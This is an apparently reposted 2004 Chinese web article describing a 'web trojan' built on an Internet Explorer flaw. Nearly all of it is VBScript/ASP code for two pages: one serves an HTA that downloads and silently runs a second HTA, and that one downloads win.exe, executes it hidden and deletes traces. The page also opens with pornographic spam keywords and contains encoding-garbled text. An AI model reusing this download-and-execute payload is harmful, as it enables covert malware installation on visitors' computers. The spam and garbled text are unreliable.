久久―日本道色综合久久,亚洲欧美精品在线,狼狼色丁香久久婷婷综合五月,香蕉人人超,日本网站黄,国产在线观看不卡免费高清,无遮挡的毛片免费

2023信創(chuàng)獨(dú)角獸企業(yè)100強(qiáng)
全世界各行各業(yè)聯(lián)合起來,internet一定要實(shí)現(xiàn)!

利用IE漏洞實(shí)現(xiàn)之網(wǎng)頁木馬

2004-02-19 eNet&Ciweek

  ---------test.asp(木馬主頁面之一:生成本地HTA)頂部寫如下代碼----------------------

 ?。?response.ContentType="application/hta"%>

 ?。糷tml>

 ?。紀(jì)bject id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>

  <script language="VBScript">

  Function HttpDoGet(url)

  set oReq = CreateObject("Microsoft.XMLHTTP")

  oReq.open "GET",url,false

  oReq.send

  If oReq.status=200 then

  HttpDoGet=oReq.responseTEXT

  SaveFile HttpDoGet,"c:\win.hta" '在C:根目錄下生成HTA文件

  Set oReq=nothing

  End if

  End Function

  '保存文本文件,生成本地HTA。

  sub SaveFile(str,fName)

  Dim fso, tf

  Set fso = CreateObject("Scripting.FileSystemObject")

  Set tf = fso.CreateTextFile(fName, True)

  tf.Write str

  tf.Close

  exewin()

  End sub

  '運(yùn)行函數(shù)

  Sub exewin()

  set wshshell=createobject ("wscript.shell" )

  a=wshshell.run ("cmd.exe /c c:\win.hta",0)

  window.close

  End Sub

  '得到本地HTA文件

  HttpDoGet("http://127.0.0.1/ism.mm";;)

 ?。?script>

  </html>

  ---------ism.mm(木馬主頁面之二:本地HTA頁面)頂部寫如下代碼----------------------

 ?。糷tml>

 ?。紀(jì)bject id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>

  <script language="VBScript">

  Function HttpDoGet(url)

  set oReq = CreateObject("Microsoft.XMLHTTP")

  oReq.open "GET",url,false

  oReq.send

  If oReq.status=200 then

  HttpDoGet=oReq.responseBody

  SaveFile HttpDoGet,"c:\win.exe" '在C:根目錄下生成exe文件

  End If

  Set oReq=nothing

  End Function

  '保存二進(jìn)制文件,在本地生成exe文件。

  sub SaveFile(str,fName)

  Set objStream = CreateObject("ADODB.Stream")

  objStream.Type = 1

  objStream.Open

  objstream.write str

  objstream.SaveToFile fName,2

  objstream.Close()

  set objstream = nothing

  exewin()

  End sub

  '運(yùn)行函數(shù),執(zhí)行已經(jīng)的exe程序。

  Sub exewin()

  set wshshell=createobject ("wscript.shell" )

  a=wshshell.run ("cmd.exe /c c:\win.exe",0)

  b=wshshell.run ("cmd.exe /c del c:\win.hta",0)

  window.close

  End Sub

  '得到遠(yuǎn)程木馬程序

  HttpDoGet "http://127.0.0.1/win.exe";;

 ?。?script>

  </html>

相關(guān)頻道: eNews

您對本文或本站有任何意見,請?jiān)谙路教峤唬x謝!

投稿信箱:tougao@enet16.com